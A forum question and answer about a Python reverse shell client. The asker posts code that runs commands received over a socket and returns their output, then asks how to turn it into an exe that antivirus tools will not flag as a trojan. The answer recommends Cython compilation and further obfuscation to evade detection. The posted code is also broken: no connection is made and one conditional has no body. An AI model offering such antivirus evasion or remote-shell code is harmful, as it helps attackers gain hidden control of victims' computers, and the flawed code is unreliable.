When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus.

Here is my client file:

import os, socket, subprocess

s = socket.socket()
host = ''
port = 9999

while True:
    data = s.recv(1024)
    if data[:2].decode('utf-8') == 'cd':
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,'utf-8')
        s.send(str.encode(output_str + str(os.getcwd()) +'> '))


How do I convert the file into exe so that it stays undetected like when is in its python file format .py?

  • Maybe the plain Python format isn't detected because the AV engines do not know how to execute it or read the source, but the pyinstaller binary can be statically and dynamically examined through normal means. Oct 12, 2020 at 4:32

1 Answer 1


Many Python “exe” tools just package the script with a runtime. You may want to consider something like Cython that produces a C version that can be compiled directly to object code. I doubt your vanilla version will escape detection and my require further obfuscation.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .